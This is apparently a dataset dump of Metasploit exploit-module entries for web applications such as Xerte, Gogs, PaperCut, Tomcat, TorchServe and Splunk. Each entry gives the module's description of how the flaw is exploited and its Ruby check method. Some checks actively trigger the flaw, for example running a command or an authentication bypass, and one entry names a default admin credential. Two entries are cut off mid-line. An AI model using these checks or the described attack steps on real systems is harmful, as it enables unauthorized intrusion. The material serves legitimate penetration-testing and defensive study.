deardaniel/secdata-raw huggingface dataset:
Metasploit Module: Xerte Online Toolkits Arbitrary File Upload - Upload Image
Type: exploit
Path: modules/exploits/multi/http/xerte_authenticated_rce_uploadimage.rb
Platform: php
Disclosure date: 2025-08-04
References: URL-https://blog.haicen.me/posts/xerte-online-toolkits/, URL-https://www.xerte.org.uk/index.php/en/news/blog/80-news/357-xerte-3-13-en-3-14-important-security-update-now-available
Targets: PHP

Description:
This module exploits the user template file import function's unrestricted
          file upload in versions 3.14 and earlier to upload and execute a shell.
          This targets editor/uploadImage.php.
          This has only been tested in implementations where the authentication type is "Db".

          OPSEC
          - if the user is logged in elsewhere, they may experience interruptions
          - several requests sent to the server and activity is logged

Check method (fingerprinting):
print_status('Performing check')
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'website_code', 'php', 'language', 'import_language.php')
    })
    if res&.code == 200
      if res.body.include?('No valid language definition found in the file!')
        return Exploit::CheckCode::Vulnerable('Successfully verified authenticated file upload RCE vulnerability')
      else
        return Exploit::CheckCode::Safe('The target is not vulnerable')
      end
    end
    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: ProcessMaker Open Source Authenticated PHP Code Execution
Type: exploit
Path: modules/exploits/multi/http/processmaker_exec.rb
Platform: php
Disclosure date: 2013-10-24
Authors: bcoles
References: CVE-2013-10035, OSVDB-99199, BID-63411, URL-http://bugs.processmaker.com/view.php?id=13436

Description:
This module exploits a PHP code execution vulnerability in the
          'neoclassic' skin for ProcessMaker Open Source which allows any
          authenticated user to execute PHP code. The vulnerable skin is
          installed by default in version 2.x and cannot be removed via
          the web interface.

Check method (fingerprinting):
@workspace = datastore['WORKSPACE']

    # login
    @cookie = "PHPSESSID=#{rand_text_alphanumeric(rand(10) + 10)};"
    unless login(datastore['USERNAME'], datastore['PASSWORD'])
      return Exploit::CheckCode::Unknown('Could not authenticate to the target')
    end

    # send check
    fingerprint = Rex::Text.rand_text_alphanumeric(rand(10) + 10)
    vprint_status("Sending check")
    begin
      res = execute_command("echo #{fingerprint}")
      if res and res.body =~ /#{fingerprint}/
        return Exploit::CheckCode::Vulnerable('The target is vulnerable')
      elsif res
        return Exploit::CheckCode::Safe('The target is not vulnerable')
      end
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
      vprint_error("Connection failed")
      return Exploit::CheckCode::Unknown('Could not connect to the target')
    end
    Exploit::CheckCode::Safe('The target is not vulnerable')
  end

  #
  # Write payload to filesystem
  #
Metasploit Module: Kong Gateway Admin API Remote Code Execution
Type: exploit
Path: modules/exploits/multi/http/kong_gateway_admin_api_rce.rb
Platform: unix
Disclosure date: 2020-10-13
Authors: Graeme Robinson
References: URL-https://konghq.com/, URL-https://github.com/Kong/kong, URL-https://docs.konghq.com/hub/kong-inc/serverless-functions/
Targets: Unix (In-Memory)

Description:
This module uses the Kong admin API to create a route and a serverless function plugin that is associated with
          the route. The plugin runs Lua code and is used to run a system command using os.execute(). After execution the
          route is deleted, which also deletes the plugin.

Check method (fingerprinting):
@route_cleanup_required = false
    # Check admin API
    response = send_request_cgi
    return CheckCode::Unknown('No response received from the target') unless response
    return CheckCode::Safe('The target endpoint was not found') unless response.get_json_document['tagline'] == 'Welcome to kong'

    # Check public API
    rhost = datastore['PUBLIC-API-RHOST'] if datastore['PUBLIC-API-RHOST']
    rport = datastore['PUBLIC-API-RPORT'] if datastore['PUBLIC-API-RPORT']
    path = normalize_uri(target_uri.path, @rand_name)
    response = send_request_cgi({ 'rport' => rport, 'rhost' => rhost, 'uri' => path })
    return CheckCode::Unknown('No response received from the target') unless response
    return CheckCode::Safe('The target application was not detected') unless response.get_json_document['message'] == 'no Route matched with those values'

    CheckCode::Appears('The target appears to be vulnerable')
  end
Metasploit Module: Gogs Git Hooks Remote Code Execution
Type: exploit
Path: modules/exploits/multi/http/gogs_git_hooks_rce.rb
Platform: unix
Disclosure date: 2020-10-07
References: CVE-2020-15867, EDB-49571, URL-https://podalirius.net/articles/exploiting-cve-2020-14144-gitea-authenticated-remote-code-execution/, URL-http://web.archive.org/web/[PII_REDACTED]5818/https://www.fzi.de/en/news/news/detail-en/artikel/fsa-2020-3-schwachstelle-in-gitea-1126-und-gogs-0122-ermoeglicht-ausfuehrung-von-code-nach-authent/
Targets: Unix Command, Linux Dropper, Windows Command, Windows Dropper

Description:
This module leverages an insecure setting to get remote code
          execution on the target OS in the context of the user running Gogs.
          This is possible when the current user is allowed to create `git
          hooks`, which is the default for administrative users. For
          non-administrative users, the permission needs to be specifically
          granted by an administrator.

          To achieve code execution, the module authenticates to the Gogs web
          interface, creates a temporary repository, sets a `post-receive` git
          hook with the payload and creates a dummy file in the repository.
          This last action will trigger the git hook and execute the payload.
          Everything is done through the web interface.

          No mitigation has been implemented so far (latest stable version is
          0.12.3).

          This module has been tested successfully against version 0.12.3 on
          docker. Windows version could not be tested since the git hook feature
          seems to be broken.

Check method (fingerprinting):
res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path),
      'keep_cookies' => true
    )
    unless res
      return CheckCode::Unknown('Target did not respond to check.')
    end

    # <meta name="author" content="Gogs" />
    unless res.body.match(%r{<meta +name="author" +content="Gogs" */>})
      return CheckCode::Unsupported('Target does not appear to be running Gogs.')
    end

    CheckCode::Appears('Gogs found')
  end
Metasploit Module: PaperCut PaperCutNG Authentication Bypass
Type: exploit
Path: modules/exploits/multi/http/papercut_ng_auth_bypass.rb
Disclosure date: 2023-03-13
Authors: catatonicprime
References: CVE-2023-27350, ZDI-23-233, URL-https://www.papercut.com/kb/Main/PO-1216-and-PO-1219, URL-https://www.horizon3.ai/papercut-cve-2023-27350-deep-dive-and-indicators-of-compromise/, URL-https://www.bleepingcomputer.com/news/security/hackers-actively-exploit-critical-rce-bug-in-papercut-servers/, URL-https://www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software

Description:
This module leverages an authentication bypass in PaperCut NG. If necessary it
          updates Papercut configuration options, specifically the 'print-and-device.script.enabled'
          and 'print.script.sandboxed' options to allow for arbitrary code execution running in
          the builtin RhinoJS engine.

          This module logs at most 2 events in the application log of papercut. Each event is tied
          to modifcation of server settings.

Check method (fingerprinting):
# For the check command
    bypass_success = bypass_auth
    if bypass_success.nil?
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end

    return Exploit::CheckCode::Vulnerable('Successfully verified the authentication bypass')
  end
Metasploit Module: PyTorch Model Server Registration and Deserialization RCE
Type: exploit
Path: modules/exploits/multi/http/torchserver_cve_2023_43654.rb
Platform: java
Disclosure date: 2023-10-03
References: URL-https://www.oligo.security/blog/shelltorch-torchserve-ssrf-vulnerability-cve-2023-43654, CVE-2023-43654, CVE-2022-1471, URL-https://bitbucket.org/snakeyaml/snakeyaml/issues/561/cve-2022-1471-vulnerability-in, URL-https://swapneildash.medium.com/snakeyaml-deserilization-exploited-b4a2c5ac0858
Targets: Automatic

Description:
The PyTorch model server contains multiple vulnerabilities that can be chained together to permit an
        unauthenticated remote attacker arbitrary Java code execution. The first vulnerability is that the management
        interface is bound to all IP addresses and not just the loop back interface as the documentation suggests. The
        second vulnerability (CVE-2023-43654) allows attackers with access to the management interface to register MAR
        model files from arbitrary servers. The third vulnerability is that when an MAR file is loaded, it can contain a
        YAML configuration file that when deserialized by snakeyaml, can lead to loading an arbitrary Java class.

Check method (fingerprinting):
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'api-description'))
    return Exploit::CheckCode::Unknown('No response received from the target') unless res
    return Exploit::CheckCode::Safe('The target is not vulnerable') unless res.code == 200
    unless res.get_json_document.dig('info', 'title') == 'TorchServe APIs'
      return Exploit::CheckCode::Safe('The TorchServe API was not detected on the target.')
    end

    version = res.get_json_document.dig('info', 'version')
    return Exploit::CheckCode::Detected('The target application was detected but the version could not be confirmed as vulnerable') unless version.present?

    unless Rex::Version.new(version) < Rex::Version.new('8.0.2')
      return Exploit::CheckCode::Safe("Version #{version} is patched.")
    end

    Exploit::CheckCode::Appears("Version #{version} is vulnerable.")
  end
Metasploit Module: Tomcat Partial PUT Java Deserialization
Type: exploit
Path: modules/exploits/multi/http/tomcat_partial_put_deserialization.rb
Platform: unix
Disclosure date: 2025-03-10
References: CVE-2025-24813, URL-https://lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq, URL-https://nvd.nist.gov/vuln/detail/CVE-2025-24813
Targets: Unix Command, Windows Command

Description:
This module exploits a Java deserialization vulnerability in Apache
          Tomcat's session restoration functionality that can be exploited with a partial HTTP PUT request to
          place an attacker controlled deserialization payload in the <tomcat_root_dir>/webapps/ROOT/ directory.

          For the exploit to succeed, writes must be enabled for the default servlet,
          and org.apache.catalina.session.PersistentManager must be configured to use
          org.apache.catalina.session.FileStore.

          Verified working on 10.1.16-1

Check method (fingerprinting):
# Advanced check, runs the full exploit (without a command)
    # Assumes a 500 response from requesting the session indicates success
    begin
      upload_session_id = upload_payload('')
      unless upload_session_id
        return Exploit::CheckCode::Safe('The target is not vulnerable')
      end
    rescue Msf::Exploit::Failed => e
      return CheckCode::Safe(e)
    end

    trigger_res = trigger_payload(upload_session_id)
    if trigger_res&.code != 500
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end

    Exploit::CheckCode::Vulnerable('Successfully verified the upload vulnerability')
  end
Metasploit Module: ManageEngine ADSelfService Plus Unauthenticated SAML RCE
Type: exploit
Path: modules/exploits/multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966.rb
Platform: win
Disclosure date: 2023-01-10
References: CVE-2022-47966, URL-https://blog.viettelcybersecurity.com/saml-show-stopper/, URL-https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive/, URL-https://github.com/horizon3ai/CVE-2022-47966, URL-https://attackerkb.com/topics/gvs0Gv8BID/cve-2022-47966/rapid7-analysis
Targets: Windows EXE Dropper, Windows Command

Description:
This exploits an unauthenticated remote code execution vulnerability
          that affects Zoho ManageEngine AdSelfService Plus versions 6210 and
          below (CVE-2022-47966). Due to a dependency to an outdated library
          (Apache Santuario version 1.4.1), it is possible to execute arbitrary
          code by providing a crafted `samlResponse` XML to the ADSelfService Plus
          SAML endpoint. Note that the target is only vulnerable if it has been
          configured with SAML-based SSO at least once in the past, regardless of
          the current SAML-based SSO status.

Check method (fingerprinting):
res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(datastore['TARGETURI'], datastore['GUID'])
    )
    return CheckCode::Unknown('No response received from the target') unless res

    return CheckCode::Safe('The target is not vulnerable') unless res.code == 200

    product = res.get_html_document.xpath('//title').first&.text
    unless product == 'ADSelfService Plus'
      return CheckCode::Safe("This is not ManageEngine ADSelfService Plus (#{product})")
    end

    CheckCode::Detected('The target application was detected but requires authentication')
  end
Metasploit Module: ManageEngine Eventlog Analyzer Arbitrary File Upload
Type: exploit
Path: modules/exploits/multi/http/eventlog_file_upload.rb
Platform: java
Disclosure date: 2014-08-31
References: CVE-2014-6037, OSVDB-110642, URL-https://www.mogwaisecurity.de/advisories/MSA-2014-01.txt, URL-https://seclists.org/fulldisclosure/2014/Aug/86
Targets: Eventlog Analyzer v7.0 - v8.0 / Java universal, Eventlog Analyzer v8.1 - v9.9 b9002 / Windows, Eventlog Analyzer v8.1 - v9.9 b9002 / Linux

Description:
This module exploits a file upload vulnerability in ManageEngine Eventlog Analyzer.
          The vulnerability exists in the agentUpload servlet which accepts unauthenticated
          file uploads and handles zip file contents in an insecure way. By combining both
          weaknesses a remote attacker can achieve remote code execution. This module has been
          tested successfully on versions v7.0 - v9.9 b9002 in Windows and Linux. Versions
          between 7.0 and < 8.1 are only exploitable via EAR deployment in the JBoss server,
          while versions 8.1+ are only exploitable via a JSP upload.

Check method (fingerprinting):
version = get_version
    if version >= '7' and version <= '9'
      # version 7 to < 8.1 detection
      res = send_request_cgi({
        'uri' => normalize_uri('event/agentUpload'),
        'method' => 'GET'
      })
      if res and res.code == 405
        return Exploit::CheckCode::Appears('The target appears to be a vulnerable version')
      end

      # version 8.1+ detection
      res = send_request_cgi({
        'uri' => normalize_uri('agentUpload'),
        'method' => 'GET'
      })
      if res and res.code == 405 and version == 8
        return Exploit::CheckCode::Appears('The target appears to be a vulnerable version')
      else
        # We can't be sure that it is vulnerable in version 9
        return Exploit::CheckCode::Detected('The target application was detected but the version could not be confirmed as vulnerable')
      end

    else
      return Exploit::CheckCode::Safe('The target is not running a vulnerable version')
    end
  end
Metasploit Module: Liferay Portal Java Unmarshalling via JSONWS RCE
Type: exploit
Path: modules/exploits/multi/http/liferay_java_unmarshalling.rb
Platform: java
Disclosure date: 2019-11-25
References: CVE-2020-7961, URL-https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html, URL-https://www.synacktiv.com/posts/pentest/how-to-exploit-liferay-cve-2020-7961-quick-journey-to-poc.html, URL-https://portal.liferay.dev/learn/security/known-vulnerabilities/-/asset_publisher/HbL5mxmVrnXW/content/id/117954271

Description:
This module exploits a Java unmarshalling vulnerability via JSONWS in
          Liferay Portal versions < 6.2.5 GA6, 7.0.6 GA7, 7.1.3 GA4, and 7.2.1
          GA2 to execute code as the Liferay user. Tested against 7.2.0 GA1.

Check method (fingerprinting):
# GET / response contains a Liferay-Portal header with version information
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    )

    unless res
      return CheckCode::Unknown('Target did not respond to check.')
    end

    unless res.headers['Liferay-Portal']
      return CheckCode::Unknown(
        'Target did not respond with Liferay-Portal header.'
      )
    end

    # Building the Liferay-Portal header:
    #   https://github.com/liferay/liferay-portal/blob/master/portal-kernel/src/com/liferay/portal/kernel/util/ReleaseInfo.java
    #
    # Liferay-Portal header data:
    #   https://github.com/liferay/liferay-portal/blob/master/release.properties
    #
    # Example GET / response:
    #   HTTP/1.1 200
    #   [snip]
    #   Liferay-Portal: Liferay Community Edition Portal 7.2.0 CE GA1 (Mueller / Build 7200 / June 4, 2019)
    #   [snip]
    version, build = res.headers['Liferay-Portal'].scan(
      /^Liferay.*Portal ([\d.]+.*GA\d+).*Build (\d+)/
    ).flatten

    unless version && build
      return CheckCode::Detected(
        'Target did not respond with Liferay version and build.'
      )
    end

    # XXX: Liferay versions older than 7.2.1 GA2 (build 7201) "may" be unpatched
    if build.to_i < 7201
      return CheckCode::Appears(
        "Liferay #{version} MAY be a vulnerable version. Please verify."
      )
    end

    CheckCode::Safe("Liferay #{version} is NOT a vulnerable version.")
  end
Metasploit Module: Template Injection Vulnerability in Sawtooth Software's Lighthouse Studio (CVE-2025-34300)
Type: exploit
Path: modules/exploits/multi/http/lighthouse_studio_unauth_rce_cve_2025_34300.rb
Platform: unix
Disclosure date: 2025-07-16
References: CVE-2025-34300, URL-https://slcyber.io/assetnote-security-research-center/rce-in-the-most-popular-survey-software-youve-never-heard-of/
Targets: Unix Command, Windows Command

Description:
This module exploits a template injection vulnerability in the
          Sawtooth Software Lighthouse Studio's `ciwweb.pl` web application.
          The application fails to properly sanitize user input within survey templates,
          allowing unauthenticated attackers to inject and execute arbitrary Perl commands
          on the target system.

          This vulnerability affects Lighthouse Studio versions prior to 9.16.14.
          Successful exploitation may result in remote code execution under the privileges
          of the web server, potentially exposing sensitive data or disrupting survey operations.

          An attacker can execute arbitrary system commands in the context of the user running the web server.

Check method (fingerprinting):
print_status('Extracting version...')

    vars = {
      'hid_javascript' => '1'
    }
    vars['hid_studyname'] = datastore['STUDYNAME'] unless datastore['STUDYNAME'].strip.empty?

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path),
      'method' => 'GET',
      'vars_get' => vars
    )
    return CheckCode::Unknown('No response from target') unless res&.code == 200

    if res.body =~ /Lighthouse Studio (\d+_\d+_\d+)/
      version_match = Regexp.last_match(1).to_s
      version = Rex::Version.new(version_match.gsub('_', '.'))
      print_status("Extracted version: #{version}")

      return CheckCode::Appears('The target is running a vulnerable version') if version < Rex::Version.new('9.16.14')
    else
      print_error("#{peer} - Unable to extract version number")
    end

    html = res.get_html_document
    if html&.text&.include?('Lighthouse Studio')
      return CheckCode::Detected('The target application was detected but the version could not be confirmed as vulnerable')
    end

    CheckCode::Safe('The target is not running a vulnerable version')
  end
Metasploit Module: ChurchInfo 1.2.13-1.3.0 Authenticated RCE
Type: exploit
Path: modules/exploits/multi/http/churchinfo_upload_exec.rb
Platform: php
Disclosure date: 2021-10-30
References: URL-http://www.churchdb.org/, URL-http://sourceforge.net/projects/churchinfo/, CVE-2021-43258

Description:
This module exploits the logic in the CartView.php page when crafting a draft email with an attachment.
          By uploading an attachment for a draft email, the attachment will be placed in the /tmp_attach/ folder of the
          ChurchInfo web server, which is accessible over the web by any user. By uploading a PHP attachment and
          then browsing to the location of the uploaded PHP file on the web server, arbitrary code
          execution as the web daemon user (e.g. www-data) can be achieved.

Check method (fingerprinting):
if datastore['SSL'] == true
      proto_var = 'https'
    else
      proto_var = 'http'
    end

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'Default.php'),
      'method' => 'GET',
      'vars_get' => {
        'Proto' => proto_var,
        'Path' => target_uri.path
      }
    )

    unless res
      return CheckCode::Unknown('Target did not respond to a request to its login page!')
    end

    # Check if page title is the one that ChurchInfo uses for its login page.
    if res.body.match(%r{<title>ChurchInfo: Login</title>})
      print_good('Target is ChurchInfo!')
    else
      return CheckCode::Safe('Target is not running ChurchInfo!')
    end

    # Check what version the target is running using the upgrade pages.
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_14To1_3_0.php'),
      'method' => 'GET'
    )

    if res && (res.code == 500 || res.code == 200)
      return CheckCode::Vulnerable('Target is running ChurchInfo 1.3.0!')
    end

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_13To1_2_14.php'),
      'method' => 'GET'
    )

    if res && (res.code == 500 || res.code == 200)
      return CheckCode::Vulnerable('Target is running ChurchInfo 1.2.14!')
    end

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_12To1_2_13.php'),
      'method' => 'GET'
    )

    if res && (res.code =
Metasploit Module: Splunk Search Remote Code Execution
Type: exploit
Path: modules/exploits/multi/http/splunk_mappy_exec.rb
Platform: %w[linux unix win
Disclosure date: 2011-12-12
References: OSVDB-77695, BID-51061, CVE-2011-4642, URL-http://www.splunk.com/view/SP-CAAAGMM, URL-http://www.sec-1.com/blog/?p=233
Targets: Universal CMD

Description:
This module abuses a command execution vulnerability in the
          web based interface of Splunk 4.2 to 4.2.4. The vulnerability exists
          in the 'mappy' search command which allows attackers to run Python code.
          To exploit this vulnerability, a valid Splunk user with the admin
          role is required. By default, this module uses the credential of "admin:changeme",
          the default Administrator credential for Splunk. Note that the Splunk web interface
          runs as SYSTEM on Windows and as root on Linux by default.

Check method (fingerprinting):
res = send_request_cgi(
      {
        'uri' => '/en-US/account/login',
        'method' => 'GET'
      }, 25
    )

    if res and res.body =~ /Splunk Inc\. Splunk 4\.[0-2]\.[0-4] build [\d+]/
      return Exploit::CheckCode::Appears('The target appears to be vulnerable based on the response')
    else
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end